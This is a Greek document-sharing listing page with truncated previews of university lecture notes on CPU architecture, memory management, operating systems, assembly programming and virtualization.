Διαβάστε περισσότερα

Αρχιτεκτονική υπολογιστών

Αρχιτεκτονική υπολογιστών 1 Ελληνική Δημοκρατία Τεχνολογικό Εκπαιδευτικό Ίδρυμα Ηπείρου Αρχιτεκτονική υπολογιστών Ενότητα 11-12 : Δομή και Λειτουργία της CPU Ευάγγελος Καρβούνης Παρασκευή, 22/01/2016 2 Οργάνωση της CPU Η CPU πρέπει:

Διαβάστε περισσότερα

Πανεπιστήμιο Θεσσαλίας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Τμήμα Πληροφορικής

Πανεπιστήμιο Θεσσαλίας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Τμήμα Πληροφορικής Πανεπιστήμιο Θεσσαλίας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Τμήμα Πληροφορικής Μεταγλωττιστές Στοίβα Εκτέλεσης και Εγγραφήματα Δραστηριοποίησης Σε όλες σχεδόν τις μοντέρνες γλώσσες προγραμματισμού,

Διαβάστε περισσότερα

Λειτουργικά Συστήματα (Λ/Σ)

Λειτουργικά Συστήματα (Λ/Σ) Λειτουργικά Συστήματα (Λ/Σ) Διαχείριση Μνήμης Βασίλης Σακκάς 6/12/2013 1 Διαχείριση Μνήμης 1 Το τμήμα του Λ/Σ που διαχειρίζεται τη μνήμη λέγεται Διαχειριστής Μνήμης (Memory manager). Καθήκον του είναι

Διαβάστε περισσότερα

Μάθημα 8: Διαχείριση Μνήμης

Μάθημα 8: Διαχείριση Μνήμης Μάθημα 8: Διαχείριση Μνήμης 8.1 Κύρια και δευτερεύουσα μνήμη Κάθε μονάδα ενός υπολογιστή που χρησιμεύει για τη μόνιμη ή προσωρινή αποθήκευση δεδομένων ανήκει στην μνήμη (memory) του υπολογιστή. Οι μνήμες

Διαβάστε περισσότερα

Μάθημα 4: Κεντρική Μονάδα Επεξεργασίας

Μάθημα 4: Κεντρική Μονάδα Επεξεργασίας Μάθημα 4: Κεντρική Μονάδα Επεξεργασίας 4.1 Γενικά Ο υπολογιστής επεξεργάζεται δεδομένα ακολουθώντας βήμα βήμα, τις εντολές ενός προγράμματος. Το τμήμα του υπολογιστή, που εκτελεί τις εντολές και συντονίζει

Διαβάστε περισσότερα

ΕΡΓΑΣΤΗΡΙΟ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ Η/Υ

ΕΡΓΑΣΤΗΡΙΟ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ Η/Υ ΕΡΓΑΣΤΗΡΙΟ ΑΡΧΙΤΕΚΤΟΝΙΚΗΣ Η/Υ 4 ο Εξάμηνο Μαδεμλής Ιωάννης ΥΠΟΡΟΥΤΙΝΕΣ ΕΡΓΑΣΤΗΡΙΟ 6 Οι υπορουτίνες αποτελούν αυτόνομα τμήματα κώδικα που διεκπεραιώνουν μία συγκεκριμένη εργασία και μπορούμε να τα καλούμε

Διαβάστε περισσότερα

Το λειτουργικό σύστημα. Προγραμματισμός II 1

Το λειτουργικό σύστημα. Προγραμματισμός II 1 Το λειτουργικό σύστημα Προγραμματισμός II 1 lalis@inf.uth.gr Συστήματα υπολογιστών Ειδικού σκοπού συστήματα για μια συγκεκριμένη εφαρμογή η εφαρμογή είναι γνωστή εκ των προτέρων περιορισμένοι υπολογιστικοί

Διαβάστε περισσότερα

Στοιχεία από Assembly Γιώργος Μανής

Στοιχεία από Assembly Γιώργος Μανής Στοιχεία από Assembly 8086 Γιώργος Μανής Καταχωρητές καταχωρητές γενικής φύσης καταχωρητές δείκτες καταχωρητές αναφοράς καταχωρητές τµηµάτων ειδικοί καταχωρητές Καταχωρητές γενικής φύσης 16 bit ax, bx,

Διαβάστε περισσότερα

Μάθημα 3.8 Τεχνικές μεταφοράς δεδομένων Λειτουργία τακτικής σάρωσης (Polling) Λειτουργία Διακοπών DMA (Direct Memory Access)

Μάθημα 3.8 Τεχνικές μεταφοράς δεδομένων Λειτουργία τακτικής σάρωσης (Polling) Λειτουργία Διακοπών DMA (Direct Memory Access) Μάθημα 3.8 Τεχνικές μεταφοράς δεδομένων Λειτουργία τακτικής σάρωσης (Polling) Λειτουργία Διακοπών DMA (Direct Memory Access) Μελετώντας το μάθημα θα μπορείς να ξέρεις τη λειτουργία του Polling να ξέρεις

Διαβάστε περισσότερα

Διεργασίες (μοντέλο μνήμης & εκτέλεσης) Προγραμματισμός II 1

Διεργασίες (μοντέλο μνήμης & εκτέλεσης) Προγραμματισμός II 1 Διεργασίες (μοντέλο μνήμης & εκτέλεσης) Προγραμματισμός II 1 lalis@inf.uth.gr Πρόγραμμα και εκτέλεση προγράμματος Ο εκτελέσιμος κώδικας αποθηκεύεται σε ένα αρχείο Το αρχείο είναι μια «παθητική» οντότητα

Διαβάστε περισσότερα

Λειτουργικά Συστήματα Η/Υ

Λειτουργικά Συστήματα Η/Υ Λειτουργικά Συστήματα Η/Υ Κεφάλαιο 8 «Ιδεατή Μνήμη» Διδάσκων: Δ. Λιαροκαπης Διαφάνειες: Π. Χατζηδούκας Ιδεατή Μνήμη Οργάνωση. Εισαγωγή. Ιδεατές και πραγματικές διευθύνσεις. Λογική οργάνωση. Τμηματοποίηση

Διαβάστε περισσότερα

Αρχιτεκτονική-ΙI Ενότητα 6 :

Αρχιτεκτονική-ΙI Ενότητα 6 : ΕΛΛΗΝΙΚΗ ΔΗΜΟΚΡΑΤΙΑ Ανώτατο Εκπαιδευτικό Ίδρυμα Πειραιά Τεχνολογικού Τομέα Αρχιτεκτονική-ΙI Ενότητα 6 : Υλικό του 80386 Ιωάννης Έλληνας Τμήμα Η/ΥΣ Άδειες Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε

Διαβάστε περισσότερα

Προγραμματισμός Ι. Δυναμική Διαχείριση Μνήμης. Δημήτρης Μιχαήλ. Ακ. Έτος 2011-2012. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

Προγραμματισμός Ι. Δυναμική Διαχείριση Μνήμης. Δημήτρης Μιχαήλ. Ακ. Έτος 2011-2012. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Προγραμματισμός Ι Δυναμική Διαχείριση Μνήμης Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Ακ. Έτος 2011-2012 Ανάγκη για Δυναμική Μνήμη Στατική Μνήμη Μέχρι τώρα χρησιμοποιούσαμε

Διαβάστε περισσότερα

Εργαστήριο 4. Εαρινό Εξάμηνο ΠΡΟΣΟΧΗ: Αρχίστε νωρίς το Εργαστήριο 4. Οι ασκήσεις είναι πιο απαιτητικές από τα προηγούμενα εργαστήρια.

Εργαστήριο 4. Εαρινό Εξάμηνο ΠΡΟΣΟΧΗ: Αρχίστε νωρίς το Εργαστήριο 4. Οι ασκήσεις είναι πιο απαιτητικές από τα προηγούμενα εργαστήρια. Τομέας Υλικού και Αρχιτεκτονικής Υπολογιστών ΗΥ134 - Εισαγωγή στην Οργάνωση και Σχεδίαση Η/Υ 1 Εργαστήριο 4 Εαρινό Εξάμηνο 2012-2013 Στόχοι του εργαστηρίου Χρήση στοίβας Συναρτήσεις ΠΡΟΣΟΧΗ: Αρχίστε νωρίς

Διαβάστε περισσότερα

Προγραμματισμός Ι (HY120)

Προγραμματισμός Ι (HY120) Προγραμματισμός Ι (HY20) # μνήμη & μεταβλητές πρόγραμμα & εκτέλεση Ψηφιακά δεδομένα, μνήμη, μεταβλητές 2 Δυαδικός κόσμος Οι υπολογιστές είναι δυαδικές μηχανές Όλη η πληροφορία (δεδομένα και κώδικας) κωδικοποιείται

Διαβάστε περισσότερα

Μάθημα 8: Επικοινωνία Συσκευών με τον Επεξεργαστή

Μάθημα 8: Επικοινωνία Συσκευών με τον Επεξεργαστή Μάθημα 8: Επικοινωνία Συσκευών με τον Επεξεργαστή 8.1 Τακτική σάρωση (Polling) Ας υποθέσουμε ότι έχουμε ένα πληκτρολόγιο συνδεδεμένο σε ένα υπολογιστικό σύστημα. Το πληκτρολόγιο είναι μια μονάδα εισόδου.

Διαβάστε περισσότερα

3. Σελιδοποίηση μνήμης 4. Τμηματοποίηση χώρου διευθύνσεων

3. Σελιδοποίηση μνήμης 4. Τμηματοποίηση χώρου διευθύνσεων ΑΡΧΙΤΕΚΤΟΝΙΚΗ ΥΠΟΛΟΓΙΣΤΩΝ MHXANIKOI Η/Υ ΚΑΙ ΠΛΗΡΟΦΟΡΙΚΗΣ ΕΠΙΠΕ Ο ΜΗΧΑΝΗΣ ΛΕΙΤΟΥΡΓΙΚΟΥ ΣΥΣΤΗΜΑΤΟΣ Γ. Τσιατούχας 6 ο Κεφάλαιο 1. Επίπεδο OSM 2. Εικονική μνήμη ιάρθρωση 3. Σελιδοποίηση μνήμης 4. Τμηματοποίηση

Διαβάστε περισσότερα

Εργαστήριο Λειτουργικών Συστημάτων 8o εξάμηνο, Ροή Υ, ΗΜΜΥ

Εργαστήριο Λειτουργικών Συστημάτων 8o εξάμηνο, Ροή Υ, ΗΜΜΥ ΕΘΝΙΚΟ ΜΕΤΣΟΒΙΟ ΠΟΛΥΤΕΧΝΕΙΟ Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών Εργαστήριο Λειτουργικών Συστημάτων 8o εξάμηνο, Ροή Υ, ΗΜΜΥ Σχεδιασμός και υλοποίηση υποδομής σημείωσης διεργασιών στον

Διαβάστε περισσότερα

Εικονική Μνήμη (1/2)

Εικονική Μνήμη (1/2) Εθνικό Μετσόβιο Πολυτεχνείο Σχολή Ηλεκτρολόγων Μηχ. και Μηχανικών Υπολογιστών Εργαστήριο Υπολογιστικών Συστημάτων Εικονική Μνήμη (1/2) Λειτουργικά Συστήματα Υπολογιστών 7ο Εξάμηνο, 2016-2017 Εικονική Μνήμη

Διαβάστε περισσότερα

Εικονική Μνήμη (Virtual Μemory)

Εικονική Μνήμη (Virtual Μemory) ΗΥ 232 Οργάνωση και Σχεδίαση Υπολογιστών Διάλεξη 16 Εικονική Μνήμη (Virtual Μemory) Νίκος Μπέλλας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών Η/Υ Απλό πείραμα int *data = malloc((1

Διαβάστε περισσότερα

Το λειτουργικό σύστημα. Προγραμματισμός II 1

Το λειτουργικό σύστημα. Προγραμματισμός II 1 Το λειτουργικό σύστημα Προγραμματισμός II 1 lalis@inf.uth.gr Συστήματα υπολογιστών Ειδικού σκοπού συστήματα για μια συγκεκριμένη εφαρμογή περιορισμένοι υπολογιστικοί / αποθηκευτικοί πόροι δεν τίθεται θέμα

Διαβάστε περισσότερα

ΠΡΟΗΓΜΕΝΟΙ ΜΙΚΡΟΕΠΕΞΕΡΓΑΣΤΕΣ PROJECT 2: MEMORY MANAGEMENT

ΠΡΟΗΓΜΕΝΟΙ ΜΙΚΡΟΕΠΕΞΕΡΓΑΣΤΕΣ PROJECT 2: MEMORY MANAGEMENT ΠΡΟΗΓΜΕΝΟΙ ΜΙΚΡΟΕΠΕΞΕΡΓΑΣΤΕΣ PROJECT 2: MEMORY MANAGEMENT ΘΕΩΡΙΑ Στο project αυτό έχουμε υλοποιήσει τις βασικές συναρτήσεις της stdlib της C malloc και free Η συνάρτηση malloc είναι η void *malloc(int

Διαβάστε περισσότερα

ΕΙΔΙΚΟΤΗΤΑ: ΤΕΧΝΙΚΟΣ ΕΦΑΡΜΟΓΩΝ ΠΛΗΡΟΦΟΡΙΚΗΣ ΜΑΘΗΜΑ: ΕΙΣΑΓΩΓΗ ΣΤΗΝ ΠΛΗΡΟΦΟΡΙΚΗ

ΕΙΔΙΚΟΤΗΤΑ: ΤΕΧΝΙΚΟΣ ΕΦΑΡΜΟΓΩΝ ΠΛΗΡΟΦΟΡΙΚΗΣ ΜΑΘΗΜΑ: ΕΙΣΑΓΩΓΗ ΣΤΗΝ ΠΛΗΡΟΦΟΡΙΚΗ ΕΙΔΙΚΟΤΗΤΑ: ΤΕΧΝΙΚΟΣ ΕΦΑΡΜΟΓΩΝ ΠΛΗΡΟΦΟΡΙΚΗΣ ΜΑΘΗΜΑ: ΕΙΣΑΓΩΓΗ ΣΤΗΝ ΠΛΗΡΟΦΟΡΙΚΗ (Τμήματα Υπολογιστή) ΕΚΠΑΙΔΕΥΤΗΣ:ΠΟΖΟΥΚΙΔΗΣ ΚΩΝΣΤΑΝΤΙΝΟΣ ΤΜΗΜΑΤΑ ΗΛΕΚΤΡΟΝΙΚΟΥ ΥΠΟΛΟΓΙΣΤΗ Κάθε ηλεκτρονικός υπολογιστής αποτελείται

Διαβάστε περισσότερα

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών Μεταγλώτιση, σύνδεση

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών Μεταγλώτιση, σύνδεση ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών Μεταγλώτιση, σύνδεση Αρης Ευθυμίου Ανακοινώσεις! Βαθμοί: 1ης εργαστηριακής άσκησης Βαθμός 0 χωρίς σχόλια δεν έχω πάρει την άσκηση! ελέγξτε μήπως δεν το στέλνετε στο σωστό

Διαβάστε περισσότερα

Μάθημα 3.2: Κεντρική Μονάδα Επεξεργασίας

Μάθημα 3.2: Κεντρική Μονάδα Επεξεργασίας Κεφάλαιο 3 ο Αρχιτεκτονική Υπολογιστών Μάθημα 3.: Κεντρική Μονάδα Επεξεργασίας Όταν ολοκληρώσεις το κεφάλαιο θα μπορείς: Να σχεδιάζεις την εσωτερική δομή της ΚΜΕ και να εξηγείς τη λειτουργία των επιμέρους

Διαβάστε περισσότερα

Δομημένος Προγραμματισμός (ΤΛ1006)

Δομημένος Προγραμματισμός (ΤΛ1006) Τεχνολογικό Εκπαιδευτικό Ίδρυμα Κρήτης Σχολή Εφαρμοσμένων Επιστημών Τμήμα Ηλεκτρονικών Μηχανικών Τομέας Αυτοματισμού και Πληροφορικής Δομημένος Προγραμματισμός (ΤΛ1006) Δρ. Μηχ. Νικόλαος Πετράκης, Καθηγητής

Διαβάστε περισσότερα

Σημειώσεις για τον 80x86

Σημειώσεις για τον 80x86 Σημειώσεις για τον 80x86 Τι είναι η διεύθυνση; 16bits 0000h 0001h 0002h 8bits 20h 32h 30h Η μνήμη ενός μικροϋπολογιστικού συστήματος χωρίζεται σε μικρά τμήματα του ενός byte FFFEh 30h 2 16 =65,536 bytes

Διαβάστε περισσότερα

MIPS Interactive Learning Environment. MILE Simulator. Version 1.0. User's Manual

MIPS Interactive Learning Environment. MILE Simulator. Version 1.0. User's Manual MILE Simulator Version 1.0 User's Manual Νοέμβριος, 2011 Περιεχόμενα 1. Εισαγωγή στον προσομοιωτή...2 1.1 Εγκατάσταση...2 1.2 Βοήθεια Διευκρινήσεις...2 2. Ξεκινώντας με τον προσομοιωτή...3 2.1 Το memory

Διαβάστε περισσότερα

Συναρτήσεις-Διαδικασίες

Συναρτήσεις-Διαδικασίες ΗΥ 232 Οργάνωση και Σχεδίαση Υπολογιστών Διάλεξη 4 Συναρτήσεις-Διαδικασίες Νίκος Μπέλλας Τμήμα Μηχανικών Η/Υ, Τηλεπικοινωνιών και Δικτύων 1 Διαδικασίες (procedures) Γνωστές και σαν υπορουτίνες (subroutines)

Διαβάστε περισσότερα

Λειτουργικά Συστήματα (διαχείριση επεξεργαστή, μνήμης και Ε/Ε)

Λειτουργικά Συστήματα (διαχείριση επεξεργαστή, μνήμης και Ε/Ε) Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2015-16 Λειτουργικά Συστήματα (διαχείριση επεξεργαστή, και Ε/Ε) http://di.ionio.gr/~mistral/tp/csintro/ Μ.Στεφανιδάκης Τι είναι

Διαβάστε περισσότερα

ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ ΙΙ - UNIX. Συστήματα Αρχείων. Διδάσκoντες: Καθ. Κ. Λαμπρινουδάκης Δρ. Α. Γαλάνη

ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ ΙΙ - UNIX. Συστήματα Αρχείων. Διδάσκoντες: Καθ. Κ. Λαμπρινουδάκης Δρ. Α. Γαλάνη ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ ΙΙ - UNIX Μάθημα: Λειτουργικά Συστήματα Συστήματα Αρχείων Διδάσκoντες: Καθ. Κ. Λαμπρινουδάκης (clam@unipi.gr) Δρ. Α. Γαλάνη (agalani@unipi.gr) Λειτουργικά Συστήματα 1 Αρχεία με Χαρτογράφηση

Διαβάστε περισσότερα

Τι είναι ένα λειτουργικό σύστημα (ΛΣ); Μια άλλη απεικόνιση. Το Λειτουργικό Σύστημα ως μέρος του υπολογιστή

Τι είναι ένα λειτουργικό σύστημα (ΛΣ); Μια άλλη απεικόνιση. Το Λειτουργικό Σύστημα ως μέρος του υπολογιστή Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2014-15 Λειτουργικά Συστήματα (διαχείριση επεξεργαστή, και Ε/Ε) http://di.ionio.gr/~mistral/tp/csintro/ Μ.Στεφανιδάκης Τι είναι

Διαβάστε περισσότερα

Διαδικασίες Ι. ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι. Διάλεξη 4

Διαδικασίες Ι. ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι. Διάλεξη 4 ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι Διάλεξη 4 Διαδικασίες Ι Νίκος Μπέλλας Τμήμα Μηχανικών Η/Υ, Τηλεπικοινωνιών και Δικτύων Εισαγωγή στους Η/Υ (ΗΥ134) 1 Διευθυνσιοδότηση διακλαδώσεων

Διαβάστε περισσότερα

ΗΜΥ Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών

ΗΜΥ Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών ΗΜΥ 213 - Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών ΗΜΥ 213 Εργαστήριο Οργάνωσης Υπολογιστών και Μικροεπεξεργαστών Διάλεξη 4 Περίληψη Συναρτήσεις Χρονόμετρο Χρήση Διακοπτών Coprocessor Διαχείριση

Διαβάστε περισσότερα

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών ARM και x86

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών ARM και x86 ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών ARM και x86 Αρης Ευθυμίου Το σημερινό μάθημα! Λυση του lab02! Αρχιτεκτονική ARM σε τι μοιάζει και σε τι διαφέρει από τον MIPS! Αρχιτεκτονική x86 μια γρήγορη ματιά στη

Διαβάστε περισσότερα

Μετάφραση ενός Προγράμματος Εξαιρέσεις

Μετάφραση ενός Προγράμματος Εξαιρέσεις ΗΥ 134 Εισαγωγή στην Οργάνωση και στον Σχεδιασμό Υπολογιστών Ι Διάλεξη 7 Μετάφραση ενός Προγράμματος Εξαιρέσεις Νίκος Μπέλλας Τμήμα Μηχανικών Η/Υ, Τηλεπικοινωνιών και Δικτύων 1 Στάδια μετάφρασης ενός προγράμματος

Διαβάστε περισσότερα

Αρχιτεκτονική υπολογιστών

Αρχιτεκτονική υπολογιστών 1 Ελληνική Δημοκρατία Τεχνολογικό Εκπαιδευτικό Ίδρυμα Ηπείρου Αρχιτεκτονική υπολογιστών Ενότητα 9 : Ομάδες Εντολών: Ιδιότητες και Λειτουργίες Ευάγγελος Καρβούνης Παρασκευή, 15/01/2016 Τι είναι ομάδα εντολών;

Διαβάστε περισσότερα

Λειτουργικά Συστήματα (Λ/Σ)

Λειτουργικά Συστήματα (Λ/Σ) Λειτουργικά Συστήματα (Λ/Σ) Δομή Λειτουργικών Συστημάτων Βασίλης Σακκάς 20/11/2013 1 Δομή ενός Λ/Σ -1 Μονολιθικά συστήματα (monolithic systems) Λειτουργικά συστήματα με ανυπαρξία δομής: "η μεγάλη ακαταστασία"

Διαβάστε περισσότερα

Το ολοκληρωμένο κύκλωμα μιας ΚΜΕ. «Φέτα» ημιαγωγών (wafer) από τη διαδικασία παραγωγής ΚΜΕ

Το ολοκληρωμένο κύκλωμα μιας ΚΜΕ. «Φέτα» ημιαγωγών (wafer) από τη διαδικασία παραγωγής ΚΜΕ Το ολοκληρωμένο κύκλωμα μιας ΚΜΕ Η Κεντρική Μονάδα Επεξεργασίας (Central Processing Unit -CPU) ή απλούστερα επεξεργαστής αποτελεί το μέρος του υλικού που εκτελεί τις εντολές ενός προγράμματος υπολογιστή

Διαβάστε περισσότερα

Εντολές γλώσσας μηχανής

Εντολές γλώσσας μηχανής Εντολές γλώσσας μηχανής Στον υπολογιστή MIPS η εντολή πρόσθεσε τα περιεχόμενα των καταχωρητών 17 και 20 και τοποθέτησε το αποτέλεσμα στον καταχωρητή 9 έχει την μορφή: 00000010001101000100100000100000 Πεδία

Διαβάστε περισσότερα

Προγραμματισμός Η/Υ (ΤΛ2007 )

Προγραμματισμός Η/Υ (ΤΛ2007 ) Τμήμα Ηλεκτρονικών Μηχανικών Τ.Ε.Ι. Κρήτης Προγραμματισμός Η/Υ (ΤΛ2007 ) Δρ. Μηχ. Νικόλαος Πετράκης (npet@chania.teicrete.gr) Ιστοσελίδα Μαθήματος: https://eclass.chania.teicrete.gr/ Εξάμηνο: Εαρινό 2015-16

Διαβάστε περισσότερα

Εισαγωγή στην πληροφορική -4

Εισαγωγή στην πληροφορική -4 Εισαγωγή στην πληροφορική 6 (, 64) bits Μνήµη Θέση (κύτταρο cell) µνήµης, χωράει λέξεις (words) εντολές (πρόγραµµα), αριθµοί (δεδοµένα) Αριθµοί: δυαδική (binary) αναπαράσταση = = = 4 = 4 = 5 = 7 Εισαγωγή

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών

Αρχιτεκτονική Υπολογιστών Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Αρχιτεκτονική Υπολογιστών Ενότητα 2: Καταχωρητές, HelloWorld σε 8086, emu8086 emulator Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Εργαστήριο Ψηφιακών Συστημάτων

Διαβάστε περισσότερα

Δημήτρης Πρίτσος. ISLAB HACK: Βασικές Έννοιες της Αρχιτεκτονικής

Δημήτρης Πρίτσος. ISLAB HACK: Βασικές Έννοιες της Αρχιτεκτονικής ISLAB HACK: Βασικές Έννοιες της Αρχιτεκτονικής INTEL - IA32 για LINUX & WINDOWS Αθήνα 2003 1 Περιεχόμενα 2 Περιήγηση στην αρχιτεκτονική ΙΑ32 και των λειτουργικών συστημάτων Linux και Ms-Windows 1 Γενικά

Διαβάστε περισσότερα

Κεφάλαιο 4 Σύνδεση Μικροεπεξεργαστών και Μικροελεγκτών ΕΡΩΤΗΣΕΙΣ ΑΣΚΗΣΕΙΣ

Κεφάλαιο 4 Σύνδεση Μικροεπεξεργαστών και Μικροελεγκτών ΕΡΩΤΗΣΕΙΣ ΑΣΚΗΣΕΙΣ Κεφάλαιο 4 Σύνδεση Μικροεπεξεργαστών και Μικροελεγκτών ΕΡΩΤΗΣΕΙΣ ΑΣΚΗΣΕΙΣ 1. Παρακάτω δίνονται μερικοί από τους ακροδέκτες που συναντάμε στην πλειοψηφία των μικροεπεξεργαστών. Φτιάξτε έναν πίνακα που να

Διαβάστε περισσότερα

Κατανεμημένα Συστήματα

Κατανεμημένα Συστήματα Κατανεμημένα Συστήματα Σημειώσεις εργαστηρίου Lab#7 - Διεργασίες, Nήματα, Πολυνημάτωση στη Python Νεβράντζας Βάιος-Γερμανός Λάρισα, Φεβρουάριος 2013 Lab#7 - Διεργασιές, Νη ματα, Πολυνημα τωση στη Python,

Διαβάστε περισσότερα

ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ. Διαχείριση μνήμης III

ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ. Διαχείριση μνήμης III ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ Διαχείριση μνήμης III Υλικό από: Tanenbaum, Modern Operating Systems,Structured Computer Organization Stallings, Operating Systems: Internals and Design Principles. Silberschatz,

Διαβάστε περισσότερα

Προγραμματισμός ΙI (Θ)

Προγραμματισμός ΙI (Θ) Τεχνολογικό Εκπαιδευτικό Ίδρυμα Κεντρικής Μακεδονίας - Σέρρες Τμήμα Μηχανικών Πληροφορικής Προγραμματισμός ΙI (Θ) Δρ. Δημήτρης Βαρσάμης Επίκουρος Καθηγητής Μάρτιος 2017 Δρ. Δημήτρης Βαρσάμης Μάρτιος 2017

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών

Αρχιτεκτονική Υπολογιστών Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Αρχιτεκτονική Υπολογιστών Ενότητα 13: (Μέρος Β ) Λειτουργικό Σύστημα Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Εργαστήριο Ψηφιακών Συστημάτων και Αρχιτεκτονικής

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών

Αρχιτεκτονική Υπολογιστών ΠΑΝΕΠΙΣΤΗΜΙΟ ΙΩΑΝΝΙΝΩΝ ΑΝΟΙΚΤΑ ΑΚΑΔΗΜΑΪΚΑ ΜΑΘΗΜΑΤΑ Αρχιτεκτονική Υπολογιστών Υποσύστημα μνήμης Διδάσκων: Επίκουρος Καθηγητής Αριστείδης Ευθυμίου Άδειες Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες

Διαβάστε περισσότερα

Προγραμματισμός Ι (ΗΥ120)

Προγραμματισμός Ι (ΗΥ120) Προγραμματισμός Ι (ΗΥ120) Διάλεξη 9: Συναρτήσεις Ορισμός συναρτήσεων () { /* δήλωση μεταβλητών */ /* εντολές ελέγχου/επεξεργασίας */ o Μια συνάρτηση ορίζεται δίνοντας

Διαβάστε περισσότερα

Λειτουργικά Συστήματα (ΗΥ321)

Λειτουργικά Συστήματα (ΗΥ321) Λειτουργικά Συστήματα (ΗΥ321) Διάλεξη 7: Εικονική Μνήμη Σελιδοποίηση & Πίνακες Σελίδων Ιδεατή Μνήμη Βασισμένη σε Σελίδες (Σελιδοποίηση) Σπάσε τη μνήμη σε κομματάκια σταθερού μεγέθους (σελίδες) Δίλλημα:

Διαβάστε περισσότερα

Ενσωµατωµένα Υπολογιστικά Συστήµατα (Embedded Computer Systems)

Ενσωµατωµένα Υπολογιστικά Συστήµατα (Embedded Computer Systems) Ενσωµατωµένα Υπολογιστικά Συστήµατα (Embedded Computer Systems) Μαθηµα 2 ηµήτρης Λιούπης 1 Intel SA-1110 µc StrongARM core. System-on-Chip. Εξέλιξη των SA-110 και SA-1100. 2 ARM cores ARM: IP (intellectual

Διαβάστε περισσότερα

Γενική οργάνωση υπολογιστή «ΑΒΑΚΑ»

Γενική οργάνωση υπολογιστή «ΑΒΑΚΑ» Περιεχόμενα Γενική οργάνωση υπολογιστή «ΑΒΑΚΑ»... 2 Καταχωρητές... 3 Αριθμητική-λογική μονάδα... 3 Μονάδα μνήμης... 4 Μονάδα Εισόδου - Εξόδου... 5 Μονάδα ελέγχου... 5 Ρεπερτόριο Εντολών «ΑΒΑΚΑ»... 6 Φάση

Διαβάστε περισσότερα

ΠΛΕ- 074 Αρχιτεκτονική Υπολογιστών 2

ΠΛΕ- 074 Αρχιτεκτονική Υπολογιστών 2 ΠΛΕ- 074 Αρχιτεκτονική Υπολογιστών 2 5ο μάθημα:αρχές, ιδιότητες αρχιτεκτονικού συνόλου εντολών (ISA) Αρης Ευθυμίου Πηγές διαφανειών: συνοδευτικές διαφάνειες αγγλικης εκδοσης του βιβλιου Εσωτερική αποθήκευση

Διαβάστε περισσότερα

Λειτουργικά Συστήματα

Λειτουργικά Συστήματα 1 Ελληνική Δημοκρατία Τεχνολογικό Εκπαιδευτικό Ίδρυμα Ηπείρου Λειτουργικά Συστήματα Ενότητα 9 : Ιδεατή Μνήμη 1/2 Δημήτριος Λιαροκάπης 2 Ανοιχτά Ακαδημαϊκά Μαθήματα στο ΤΕΙ Ηπείρου Τμήμα Μηχανικών Πληροφορικής

Διαβάστε περισσότερα

Εργαστήριο Λειτουργικών Συστημάτων. Minix Overview

Εργαστήριο Λειτουργικών Συστημάτων. Minix Overview Εργαστήριο Λειτουργικών Συστημάτων Minix Overview Σύνοψη 5ης ιάλεξης Λειτουργικό Σύστημα Minix Οργάνωση του Λειτουργικού Συστήματος Οργάνωση πηγαίου κώδικα Minix recompilation Σύνοψη Μαθήματος Σύνοψη Μαθήματος

Διαβάστε περισσότερα

Το λειτουργικό σύστημα. Προγραμματισμός II 1

Το λειτουργικό σύστημα. Προγραμματισμός II 1 Το λειτουργικό σύστημα Προγραμματισμός II 1 lalis@inf.uth.gr Συστήματα υπολογιστών Ειδικού σκοπού συστήματα για μια συγκεκριμένη εφαρμογή η εφαρμογή είναι γνωστή εκ των προτέρων περιορισμένοι υπολογιστικοί

Διαβάστε περισσότερα

Εικονικοποίηση. Αρχιτεκτονική Υπολογιστών 5ο Εξάμηνο,

Εικονικοποίηση. Αρχιτεκτονική Υπολογιστών 5ο Εξάμηνο, Εικονικοποίηση Αρχιτεκτονική Υπολογιστών 5ο Εξάμηνο, 2016-2017 Εικονικοποίηση - Σύνοψη Γενικά Οργάνωση VMM Τεχνικές Εικονικοποίησης Εικονικοποίηση Μνήμης Live Migration Εικονικοποίηση - Σύνοψη Γενικά Οργάνωση

Διαβάστε περισσότερα

